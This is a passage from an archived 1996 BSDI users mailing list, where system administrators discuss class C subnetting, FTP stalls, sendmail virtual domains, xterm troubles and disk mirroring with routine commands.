always be delivered to you rather than customers, which is probably undesirable; there are some possibly serious security and confidentiality issues associated with delivering mail addressed to one customer's domain to another customer (as would be the case if one sent mail to customer2@customer1sdomain.com); and people generally seem to think that the @domain.com approach is niftier, enhancing the appeal of your service. | Matthew R. Sheahan | | Crystal Palace Networking | From VM Fri Nov 8 18:55:31 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["748" "Fri" "8" "November" "1996" "08:28:55" "-0600" "Brian Young" "byoung@oru.edu" nil "22" "Re: subnetting class c address" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA04238 for ; Fri, 8 Nov 1996 11:30:27 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA19052 for bsdi-users-outgoing; Fri, 8 Nov 1996 11:29:27 -0500 (EST) Message-Id: <199611081428.IAA29733@lib.oru.edu> X-Sender: byoung@oru.edu X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Brian Young Sender: owner-bsdi-users@lists.gateway.com To: David Newall Cc: bsdi-users@BSDI.COM Subject: Re: subnetting class c address Date: Fri, 8 Nov 1996 08:28:55 -0600 (CST) At 03:15 PM 11/8/96 +1030, you wrote: >Dean Anderson wrote: >> subnet 0 can't (shouldn't) be used (x.y.z.0) could be sent to all subnets >> or just subnet 0. >> subnet 3 can't (shouldn't) be used. (x.y.z.255) could be sent to all >> subnets or just subnet 3. > >This is true? It's not how I understand subnets. I do know that host >63 on subnet 3 is special (it's the broadcast for the complete class C), >and maybe host 0 on subnet 0 is also special, but I did think that otherwise >use of those subnets was kocher. > > [Standard disclaimer: These are my private opinions] Dean is right, you can never use the the lowest or highest subnets. byoung@oru.edu Brian Young Internet Systems Administrator Oral Roberts University From VM Fri Nov 8 18:55:32 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1342" "Fri" "8" "November" "1996" "08:37:50" "-0800" "David A. Lee" "dave@calldei.com" nil "38" "Re: ftp problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA04509 for ; Fri, 8 Nov 1996 11:36:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA19100 for bsdi-users-outgoing; Fri, 8 Nov 1996 11:38:23 -0500 (EST) Message-Id: <199611081637.IAA14215@dei.calldei.com> In-Reply-To: <1.5.4.32.19961107234151.008ac570@204.101.127.2> from "Roch Pageau" at Nov 7, 96 06:41:51 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: "David A. Lee" Sender: owner-bsdi-users@lists.gateway.com To: rpageau@inexpress.net (Roch Pageau) Cc: bsdi-users@BSDI.COM Subject: Re: ftp problems Date: Fri, 8 Nov 1996 08:37:50 -0800 (PST) I had a similar problem and it turned out that my ISDN router (Ascend Pipeline) and my ISP's router (same) were running different and old firmware versions. This caused all sorts of intermittent packet losses and hosed telnet and ftp sessions frequently, when we both upgraded to the latest firmware it fixed everything. -David Lee dave@calldei.com > > Our customers seem to be having problems downloading files from our ftp > site. The connection seems to work ok, it downloads 60-70-90% of the file > and tehn just stalls. When this happens you open Eudora or telnet and cannot > make any connections to our box, must disconnect and start over. > > The ftp log looks ok: > Nov 7 17:43:18 Vector ftpd[23397]: SYST > Nov 7 17:43:18 Vector ftpd[23397]: PASV > Nov 7 17:43:19 Vector ftpd[23397]: TYPE Image > Nov 7 17:43:19 Vector ftpd[23397]: SIZE /pub/win95/ > Nov 7 17:43:19 Vector ftpd[23397]: CWD /pub/win95/ > Nov 7 17:43:19 Vector ftpd[23397]: LIST > Nov 7 17:44:02 Vector ftpd[23397]: PASV > Nov 7 17:44:02 Vector ftpd[23397]: SIZE /pub/win95/n32fr202.exe > Nov 7 17:44:02 Vector ftpd[23397]: RETR /pub/win95/n32fr202.exe > Nov 7 18:25:23 Vector ftpd[23397]: FTP session closed > > I've looked at all my manuals but can't seem to find anything to help. > > Any ideas appreciated????? > > > > Thanks > > Roch > From VM Fri Nov 8 18:55:36 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["480" "" "8" "November" "1996" "15:06:31" "GMT" "Allan Tuchman" "tuchman@vidda.cso.uiuc.edu" nil "14" "VDOLive Server, anyone?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA05074 for ; Fri, 8 Nov 1996 12:01:11 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA19130 for bsdi-users-outgoing; Fri, 8 Nov 1996 11:53:04 -0500 (EST) Path: vixen.cso.uiuc.edu!vidda.cso.uiuc.edu!tuchman Newsgroups: info.bsdi.users Organization: University of Illinois at Urbana Lines: 13 Message-ID: <55vi9n$gfl@vixen.cso.uiuc.edu> NNTP-Posting-Host: vidda.cso.uiuc.edu Precedence: bulk From: tuchman@vidda.cso.uiuc.edu (Allan Tuchman) Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: VDOLive Server, anyone? Date: 8 Nov 1996 15:06:31 GMT The Web page for VDO says that their VDOLive streaming video server will run on BSD/OS 2.1. If anyone is using this server or has experience with it, could you please contact me by e-mail? I would like to hear any positive or negative results. Thanks, -Allan -- -------------- Allan Tuchman University of Illinois at Urbana-Champaign (UIUC) Sr Research Programmer Computing and Communications Services Office (CCSO) tuchman@uiuc.edu Phone: 217-244-0048 Fax: 217-244-7089 From VM Fri Nov 8 18:55:43 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2153" "Fri" "8" "November" "1996" "11:02:00" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "51" "Re: subnetting class c address " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA06995 for ; Fri, 8 Nov 1996 13:13:36 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA19374 for bsdi-users-outgoing; Fri, 8 Nov 1996 13:06:17 -0500 (EST) Message-Id: <199611081802.LAA02644@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Fri, 08 Nov 1996 09:42:45 EST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: Mike Pelletier cc: info-bsdi-users@uunet.uu.net Subject: Re: subnetting class c address Date: Fri, 08 Nov 1996 11:02:00 -0700 Mike Pelletier writes: >On Thu, 7 Nov 1996, Dean Anderson wrote: > >> You set up a subnet mask. Class C has a 24bit mask. You can change the >> netmask to include more bits in the network part. However, you only get >> two 62 host networks without creating broadcast ambiguities. >> >> 0xffffffc0 is the netmask for interfaces on this subnetted network. >> >> subnet 0 can't (shouldn't) be used (x.y.z.0) could be sent to all subnets >> or just subnet 0. >> subnet 3 can't (shouldn't) be used. (x.y.z.255) could be sent to all >> subnets or just subnet 3. >> >> Subnet 1 and Subnet 2 can be assigned without ambiguity. > >Right, this is what it indicates in the Netware CNE course documents, but >the point is, it's only ambiguous if you assume a 24 bit mask based on the >class-C-ness of the first two bits of the address, and ignore the manually >specified subnet mask. There's no ambiguity if the hardware observes the >full 26 bits of the netmask. Then, > >192.168.10.[00000000] or 192.168.10.[00111111] are the > ^^ broadcasts to network "00", >192.168.10.[01000000] or 192.168.10.[01111111] goes to net "01" > ^^ ^^ >192.168.10.[10000000] or 192.168.10.[10111111] goes to net "10" and, > ^^ ^^ >192.168.10.[11000000] or 192.168.10.[11111111] goes to net "11". > ^^ ^^ >You also have to specify which broadcast method you're using, >the "all-0" or "all-1". My wife works for a site where they're doing this >and using all four networks without any problems. I hate the way the >Netware book presents that topic. > >To be more specific: >ifconfig ef0 inet 192.168.10.1 netmask 255.255.255.192 bcast 192.168.10.63 >ifconfig le0 inet 192.168.10.65 netmask 255.255.255.192 bcast 192.168.10.127 >ifconfig en0 inet 192.168.10.129 netmask 255.255.255.192 bcast 192.168.10.191 >ifconfig et0 inet 192.168.10.193 netmask 255.255.255.192 bcast 192.168.10.255 > > -Mike Pelletier. > This is my understanding as well. I have seen it work in several environments. On most UNIXes you will get the bcast Mike shows just by specifying the inet and netmask. (What vendors are still using zeros for bcast?) -Bill From VM Fri Nov 8 18:55:43 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["247" "Fri" "8" "November" "1996" "07:36:28" "-0500" "Roch Pageau" "rpageau@inexpress.net" nil "10" "Modem config - USR" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA06999 for ; Fri, 8 Nov 1996 13:13:51 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA19390 for bsdi-users-outgoing; Fri, 8 Nov 1996 13:13:29 -0500 (EST) Message-Id: <1.5.4.32.19961108123628.0068f8ec@204.101.127.2> X-Sender: rpageau@204.101.127.2 X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Roch Pageau Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Modem config - USR Date: Fri, 08 Nov 1996 07:36:28 -0500 I would like to test a US RObotics sportster 33.6k on our system. We are using 2.1 and a 16em digiboard. Would any have a setup string that would allow this type of modem to receive calls from just about any other.(incomming only) Thanks Roch From VM Fri Nov 8 18:55:43 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3491" "Fri" "8" "November" "1996" "11:08:31" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "102" "Re: xterm - even more - sorry " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA07006 for ; Fri, 8 Nov 1996 13:17:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA19380 for bsdi-users-outgoing; Fri, 8 Nov 1996 13:09:16 -0500 (EST) Message-Id: <199611081808.LAA02681@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Thu, 07 Nov 1996 14:22:51 PST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: Tom Glover cc: bsdi-users@BSDI.COM Subject: Re: xterm - even more - sorry Date: Fri, 08 Nov 1996 11:08:31 -0700 Tom Glover writes: > >Thanks, Bill. I dug around some more and found out some things. I am also >getting the dreaded "No control connection for command: Undefined error >0" when I try to ftp to the box as a valid users. Others have reported >that this happened to them after they'd installed Apache 1.1.1 - at least >the archives on Nexial report this. When I saw this I remembered that I >too installed Apache 1.1.1 a few days ago. The previous postings did not >report a fix for the ftp problem. I'm curious as to whether there's a >relationship between the ftp problem, the xterm problem and Apache. Its >kind of hard to figure but I don't believe in coincidences. Tom: I installed Apache 1.1.1 a couple of months ago and it has caused me no problems. I'll see if I can find anything on the ftp error "No control connection for command: Undefined error 0". -Bill N >BTW I checked everything I could think of with MD5 and xterm etc. etc. >checks out OK compared to another box with identical hardware that does >not have a problem (I didn't install Apache on it) > >Quite frankly I'm stuck. > >On Thu, 7 Nov 1996, Bill Nestlerode wrote: > >> Tom Glover writes: >> > >> >I guess I wasn't too clear in my original posting. >> > >> >If I remove .Xresources-xterm *and* remove the -geometry definition from >> >the .xinitrc daemon ...... lines then startx will bring up X and open the >> >xterm sessions (albeit the wrong size) >> > >> >If I do not do the above then startx brings up X, opens xterm sessions >> >but I get no prompts. Hitting in either session causes it to exit. >> > >> >If I do the first and bring up X with xterm sessions and then explicitly >> >do a damon xterm -geometry ...... etc. an xterm session opens but no >> >prompt. If I then run "top" I find that xterm is utilizing 90% + of CPU. >> > >> >-- >> >Regards, >> >Tom >> > _________________________________________________________________________ >_ >> > | "The Egg Domain" | "Diplomacy is the art of saying "Good doggie" > | >> > | tomg@boiled.egg.com | while searching for a big rock. > | >> > | http://www.egg.com/ | > | >> > >> > >> Tom: >> Here's the xterm lines from my .xinitrc. They work fine with -geometry on th >e >> command line. >> >> xrunclient xterm -sb -geometry 80x12+0+0 -iconic -name "console" -ls -C >> xrunclient xterm -sb -geometry 80x36+0+0 -name "$HOSTNAME:1" -T "$HOSTNAME:1 >" >> -ls >> xrunclient xterm -sb -geometry 80x36+0-0 -iconic -name "$HOSTNAME:2" -T >> "$HOSTNAME:2" -ls >> >> I would compare the xterm program on your disk with the copy on the distribu >tion >> CD. >> >> $ cksum /usr/X11/bin/xterm >> 2325398759 131072 /usr/X11/bin/xterm >> $ cksum /cdrom/usr/X11/bin/xterm >> 2325398759 131072 /cdrom/usr/X11/bin/xterm >> >> If they are not the same >> >> # cp -p /cdrom/usr/X11/bin/xterm /usr/X11/bin/xterm >> >> -Bill N >> -- >> /\ Bill Nestlerode Berkeley Software Design, Inc. >> /\/ \ billn@bsdi.com 5575 Tech Center Dr. #110 >> / \ \ 719-593-9445 Colorado Springs, CO 80919 >> >> > >-- >Regards, >Tom > __________________________________________________________________________ > | "The Egg Domain" | "Diplomacy is the art of saying "Good doggie" | > | tomg@boiled.egg.com | while searching for a big rock. | > | http://www.egg.com/ | | > > From VM Fri Nov 8 18:55:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2025" "Fri" "8" "November" "1996" "10:22:11" "-0800" "Tom Glover" "tomg@boiled.egg.com" nil "50" "Re: xterm - even more - sorry " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA07569 for ; Fri, 8 Nov 1996 13:30:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA19418 for bsdi-users-outgoing; Fri, 8 Nov 1996 13:22:24 -0500 (EST) In-Reply-To: <199611081808.LAA02681@tao.bsdi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Tom Glover Sender: owner-bsdi-users@lists.gateway.com To: Bill Nestlerode cc: bsdi-users@BSDI.COM Subject: Re: xterm - even more - sorry Date: Fri, 8 Nov 1996 10:22:11 -0800 (PST) On Fri, 8 Nov 1996, Bill Nestlerode wrote: > Tom Glover writes: > > > >Thanks, Bill. I dug around some more and found out some things. I am also > >getting the dreaded "No control connection for command: Undefined error > >0" when I try to ftp to the box as a valid users. Others have reported > >that this happened to them after they'd installed Apache 1.1.1 - at least > >the archives on Nexial report this. When I saw this I remembered that I > >too installed Apache 1.1.1 a few days ago. The previous postings did not > >report a fix for the ftp problem. I'm curious as to whether there's a > >relationship between the ftp problem, the xterm problem and Apache. Its > >kind of hard to figure but I don't believe in coincidences. > > Tom: > > I installed Apache 1.1.1 a couple of months ago and it has caused me no > problems. I'll see if I can find anything on the ftp error "No control > connection for command: Undefined error 0". > Contrary to previous statements the two problems I'm having may indeed be co-incidental. The xterm problem is "fixed". I removed the line from .Xresources-xterm which says:- XTerm*VT100*saveLines: 1024 *and* I deleted /var/log/syslog, "touched" it and restarted syslogd. I'm not clear which this solved the problems though. The ftp issue still haunts me. ftpd acts normally for failed logins but anytime it gets a valid userid and password (even anonymous) it simply returns "Connection closed by remote host." and goes back to a command prompt. If I try to ftp to itself from the errant system I get "No control connection for command: Undefined error 0". At this time *any* constructive suggestions are welcome. BTW this system has all patches. -- Regards, Tom __________________________________________________________________________ | "The Egg Domain" | "Diplomacy is the art of saying "Good doggie" | | tomg@boiled.egg.com | while searching for a big rock. | | http://www.egg.com/ | | From VM Fri Nov 8 18:55:48 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["402" "Fri" "8" "November" "1996" "10:54:53" "-0800" "Chris McGlasson" "chrism@chiba.netxn.com" nil "8" "Config_dialin Editor" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA07590 for ; Fri, 8 Nov 1996 13:36:27 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA19459 for bsdi-users-outgoing; Fri, 8 Nov 1996 13:36:12 -0500 (EST) Message-Id: <199611081854.KAA24697@chiba.netxn.com> Precedence: bulk From: Chris McGlasson Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Config_dialin Editor Date: Fri, 8 Nov 1996 10:54:53 -0800 (PST) Hello all. I am trying to use a different editor for the config_dialin program. I am building a unix box for a user who does not know the vi commands. I have already edit the config_dialin program for pico, but it still insists uppon using the vi editor. Any ideas on how I can change it to use the pico editor instead of vi. Any info would be greatly appreciated. Thanks in advance. Chris From VM Fri Nov 8 18:55:48 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["457" "Fri" "8" "November" "1996" "05:19:42" "-0500" "system operator" "bsdi@mohawk.net" nil "15" "Re: Virtual Domain Email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA07591 for ; Fri, 8 Nov 1996 13:36:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA19472 for bsdi-users-outgoing; Fri, 8 Nov 1996 13:37:45 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: system operator Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson cc: bsdi-users@BSDI.COM Subject: Re: Virtual Domain Email Date: Fri, 8 Nov 1996 05:19:42 -0500 (EST) > I was wondering if it was necessary to configure the sendmail.cf file for > setting up virtual domain email addresses? No, it is not. > I have MX files set up in my named DNS files, have added the domain to > the sendmail.cw, and I am able to send mail to the domain with my domain > but when it comes time to receive mail from a different domain, the mail > is rejected. Did you kill -HUP sendmail so it would read the new .cw file? - Ralph From VM Fri Nov 8 18:55:49 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["818" "Fri" "8" "November" "1996" "19:19:06" "+0900" "Michael Hancock" "michaelh@cet.co.jp" nil "24" "Re: subnetting class c address" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA07605 for ; Fri, 8 Nov 1996 13:39:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA19501 for bsdi-users-outgoing; Fri, 8 Nov 1996 13:39:40 -0500 (EST) In-Reply-To: <199611080445.PAA15823@rebel.net.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Michael Hancock Sender: owner-bsdi-users@lists.gateway.com To: David Newall cc: Dean Anderson , bsdi-users Subject: Re: subnetting class c address Date: Fri, 8 Nov 1996 19:19:06 +0900 (JST) On Fri, 8 Nov 1996, David Newall wrote: > Dean Anderson wrote: > > subnet 0 can't (shouldn't) be used (x.y.z.0) could be sent to all subnets > > or just subnet 0. > > subnet 3 can't (shouldn't) be used. (x.y.z.255) could be sent to all > > subnets or just subnet 3. > > This is true? It's not how I understand subnets. I do know that host > 63 on subnet 3 is special (it's the broadcast for the complete class C), > and maybe host 0 on subnet 0 is also special, but I did think that otherwise > use of those subnets was kocher. I think the problem was when there were implementations of TCP/IP that had the broadcast address reversed with the netmask, so it's probably largely historical though there might be some of those implementations around. Try it out and see what happens. Regards, Mike Hancock From VM Fri Nov 8 18:55:50 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["233" "Fri" "8" "November" "1996" "13:44:29" "-0500" "Matthew R. Sheahan" "chaos@crystal.palace.net" nil "8" "Re: Virtual Domain Email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA07882 for ; Fri, 8 Nov 1996 13:47:53 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA19532 for bsdi-users-outgoing; Fri, 8 Nov 1996 13:44:54 -0500 (EST) Message-Id: <199611081844.NAA17582@crystal.palace.net> In-Reply-To: from "Chris McGlasson" at Nov 8, 96 08:31:09 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Precedence: bulk From: "Matthew R. Sheahan" Sender: owner-bsdi-users@lists.gateway.com To: chrism@chiba.netxn.com (Chris McGlasson) Cc: bsdi@mohawk.net, bsdi-users@BSDI.COM Subject: Re: Virtual Domain Email Date: Fri, 8 Nov 1996 13:44:29 -0500 (EST) > Yes. I did try to kill -HUP my pid. But had no luck with that. That's because sendmail does not respond to a SIGHUP; it needs to be killed and restarted. | Matthew R. Sheahan | | Crystal Palace Networking | From VM Fri Nov 8 18:55:51 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["524" "Fri" "8" "November" "1996" "13:50:17" "-0500" "Matthew R. Sheahan" "chaos@crystal.palace.net" nil "12" "Re: Virtual Domain Email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA08156 for ; Fri, 8 Nov 1996 13:52:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA19566 for bsdi-users-outgoing; Fri, 8 Nov 1996 13:51:14 -0500 (EST) Message-Id: <199611081850.NAA17683@crystal.palace.net> In-Reply-To: from "system operator" at Nov 8, 96 08:59:07 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Precedence: bulk From: "Matthew R. Sheahan" Sender: owner-bsdi-users@lists.gateway.com To: bsdi@mohawk.net (system operator) Cc: bsdi-users@BSDI.COM Subject: Re: Virtual Domain Email Date: Fri, 8 Nov 1996 13:50:17 -0500 (EST) > I agree that shared namespace is more desirable. Indeed, for the sites > I administer, shared namespace is implemented, but without hacking > sendmail.cf which many of us regard as a bit much. Fortunately, BSDI > offers an alternative called 'mailroom'. I'm somewhat amused by the tendency for people to avoid touching sendmail.cf as if it's going to bite them, even when offered simple recipe solutions for the tasks they need to accomplish. ;) | Matthew R. Sheahan | | Crystal Palace Networking | From VM Fri Nov 8 18:55:54 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1038" "Fri" "8" "November" "1996" "06:26:51" "-0500" "system operator" "bsdi@mohawk.net" nil "30" "Re: subnetting class c address" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA08988 for ; Fri, 8 Nov 1996 14:29:55 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA19845 for bsdi-users-outgoing; Fri, 8 Nov 1996 14:30:14 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: system operator Sender: owner-bsdi-users@lists.gateway.com To: Dean Anderson cc: Kevin Sellars , info-bsdi-users@uunet.uu.net Subject: Re: subnetting class c address Date: Fri, 8 Nov 1996 06:26:51 -0500 (EST) > Class C has a 24bit mask. True... > You can change the netmask to include more bits in the network part. Also true. A 26-bit netmask would subnet a c-net into 4 subnets... > However, you only get two 62 host networks without creating broadcast > ambiguities. I don't think so... Subnet Network Address Netmask Broadcast Address ------------------------------------------------------------------------- 0 abc.def.ghi.0 255.255.255.192 abc.def.ghi.63 1 abc.def.ghi.64 255.255.255.192 abc.def.ghi.127 2 abc.def.ghi.128 255.255.255.192 abc.def.ghi.191 3 abc.def.ghi.192 255.255.255.192 abc.def.ghi.255 There is no ambiguity because the netmask (26 bits in this case rather than the usual 24 for a c-net) defines the network portion of the address. You give up a total of 8 addresses (6 additional) to split a c-net into four subnets. Addresses 0, 64, 128 and 192 become network addresses and 63, 127, 191 and 255 are then the broadcast addresses for each network. Don't forget about the netmask. - Ralph From VM Fri Nov 8 18:55:55 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1641" "Fri" "8" "November" "1996" "09:44:23" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "42" "Re: Mirroring Hard Drives " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA08996 for ; Fri, 8 Nov 1996 14:30:30 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA19811 for bsdi-users-outgoing; Fri, 8 Nov 1996 14:22:13 -0500 (EST) Message-Id: <199611081444.JAA21585@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Thu, 07 Nov 1996 18:02:08 PST. Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: Andrew Longsworth cc: bsdi-users@BSDI.COM Subject: Re: Mirroring Hard Drives Date: Fri, 08 Nov 1996 09:44:23 -0500 Couldn't you newfs or rm -rf the area that you mirror to right before the mirror? Jacob --- In message you write: >I am in need of some help with a problem that I can't seem to solve >satisfactorily. I am trying to come up with a procedure to mirror two IDE >drives (at /dev/wd0 and /dev/wd2) every evening, with a minimum amount of >slowdown time for the system. > >I thought of using the dump command: dump 0f - / | ( cd /mount/ ; restore >xf - ) or somesuch, but that tends to not delete files that already exist >on the destination drive, and especially, leave in place files that have >been deleted. This is fine for the original disk mirror, but doesn't help a >heck of a lot for the successive evenings (yes, I did try incrementing the >dump level, and that still leaves files that have been deleted, and also >tries to overwrite directories that have been modified). > >In brief, my hope is that perhaps there is some program/script out there >that quickly mirrors IDE drives, and handles subsequent updates in a >non-intensive manner. > >I will re-post a summary of responses to the list and anyone who requests it. > >Thanks in advance for your assistance, >Andrew >Puzzled Unix Guy > > > ------------------------------------------------------------------------------ | Jacob M. Parnas | | IBM Thomas J. Watson Research Ctr. | | Internet: jparnas@jparnas.cybercom.net | ------------------------------------------------------------------------------ From VM Fri Nov 8 18:55:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["108" "Fri" "8" "November" "1996" "14:35:19" "-0500" "Sam Brown" "root@ns2.clever.net" nil "8" "External Logging" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA09274 for ; Fri, 8 Nov 1996 14:36:44 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA19923 for bsdi-users-outgoing; Fri, 8 Nov 1996 14:36:29 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: External Logging Date: Fri, 8 Nov 1996 14:35:19 -0500 (EST) Is there such a facility for syslog/wtmp/utmp external logging available or built in to bsdi 2.1? Sam From VM Fri Nov 8 18:55:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["352" "Fri" "8" "November" "1996" "14:56:58" "+0530" "Jayanta Mukherjee" "jayanta@vedika.co.in" nil "18" "Maildrop lock busy" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA09551 for ; Fri, 8 Nov 1996 14:43:24 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA19989 for bsdi-users-outgoing; Fri, 8 Nov 1996 14:42:42 -0500 (EST) Message-Id: <199611081619.QAA00529@moon.vedika.co.in> X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Precedence: bulk From: "Jayanta Mukherjee" Sender: owner-bsdi-users@lists.gateway.com To: Subject: Maildrop lock busy Date: Fri, 8 Nov 1996 14:56:58 +0530 Hi all In BSDI 2.0 mailserver I am getting an error "Maildrop lock busy" What's the soln. for the above? Thanks in advance regards Jayanta Jayanta Mukherjee Vedika Software Ph :91-33-2473810 5B Sarat Bose Raod Fax :91-33-2479474 Calcutta-20 Vist us on Web http://www.fact.com.sg Our New Project http://www.allindia.com From VM Fri Nov 8 18:55:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1128" "Fri" "8" "November" "1996" "19:59:17" "+0000" "Jim Dixon" "jdd@vbc.net" nil "32" "Re: subnetting class c address" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com 